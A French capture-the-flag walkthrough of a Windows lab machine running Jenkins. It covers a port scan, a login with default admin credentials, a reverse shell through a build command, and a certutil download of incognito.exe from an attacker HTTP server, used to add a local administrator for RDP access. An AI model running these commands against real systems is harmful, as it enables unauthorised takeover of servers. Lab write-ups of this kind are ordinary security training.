Intro
Nous allons exploiter une mauvaise configuration commune sur un serveur d’automatisation largement utilisé (Jenkins) et obtenir un accès par le biais de jetons de fenêtres.
Enumération
Nmap scan
ÉTAT DU PORT VERSION DU SERVICE 80/tcp open http Microsoft IIS httpd 7.5 | http-methods : | Méthodes prises en charge : OPTIONS TRACE GET HEAD POST |Méthodes potentiellement risquées : TRACE |_http-server-header : Microsoft-IIS/7.5 |Le site n'a pas de titre (text/html) : Le site n'a pas de titre (text/html). 3389/tcp ouvert tcpwrapped | ssl-cert : Subject : commonName=alfred | Émetteur : commonName=alfred | Type de clé publique : rsa | Clé publique bits : 2048 | Algorithme de signature : sha1WithRSAEncryption | Non valide avant : 2020-10-02T14:42:05 | Non valide après : 2021-04-03T14:42:05 | MD5 : fdb2 cd17 fad1 160d 06bc c1d8 31f3 7636 |_SHA-1 : 6577 409f 2b1a 3e36 7ca7 4449 57f2 98c1 8750 3a3e |Date : 2021-02-06T18:18:26+00:00 ; -1s à partir de l'heure du scanner. 8080/tcp open http Jetty 9.4.z-SNAPSHOT |Le site n'est pas disponible en français : favicon inconnu MD5 : 23E8C7BD78E8CD826C5A6073B15068B1 | http-robots.txt : 1 entrée non autorisée |_/ |_http-server-header : Jetty(9.4.z-SNAPSHOT) |Le site n'a pas de titre (text/html;charset=utf-8) : Le site n'a pas de titre (text/html;charset=utf-8).
Rien d’intéressant sur le port 80, un port RDP ouvert sur 3389 et un autre serveur web http sur le port 8080 avec un formulaire de connexion. Essayer de se connecter avec admin:admin réussit.
Exploitation
Exécution de code à distance
Après avoir vérifié l’outil, j’ai trouvé un moyen d’exécuter des commandes sur le système sous-jacent :
1. Cliquez sur « projet » sur la page d’accueil :
2. « Configurer » sur le côté gauche :
2.1 Configurez votre script reverse shell, démarrez un listener et un serveur http :
3. Faites défiler vers le bas et entrez votre commande dans le champ « Commande » et enregistrez :
4. Après avoir cliqué sur « Build », vous devriez obtenir une coquille inversée :
L’escalade des privilèges
INFORMATIONS SUR LES PRIVILÈGES ---------------------- Privilège Nom Description État =============================== ========================================= ======== SeDebugPrivilege Déboguer les programmes Activé SeImpersonatePrivilege Se faire passer pour un client après authentification Activé SeCreateGlobalPrivilege Créer des objets globaux Activé
SeDebugPrivilege & SeCreateGlobalPrivilege sont activés pour bruce. Ces jetons nous permettront d’usurper l’identité d’un autre utilisateur ou même d’en créer un et de lui attribuer des privilèges administratifs.
Nous devrons télécharger un binaire appelé incognito.exe pour que cela fonctionne. Nous pouvons ensuite le transférer à partir d’un serveur http local.
PS > certutil.exe -urlcache -split -f "http://10.8.152.221:5300/incognito.exe" incognito.exe
Maintenant que nous avons téléchargé le binaire sur la machine cible, nous pouvons l’utiliser pour ajouter un utilisateur.
PS > ./incognito.exe add_localgroup_user Administrateurs nextdoorsec ┌──(kali㉿kali)-[~] └─$ rdesktop -u nextdoorsec -p passwordd $IP
Nous avons ajouté un utilisateur nommé « nextdoorsec » avec un mot de passe « passwordd » et l’avons ensuite assigné au groupe « Administrators ». Pour le tester, vous pouvez vous connecter au port RDP ouvert.
0 commentaires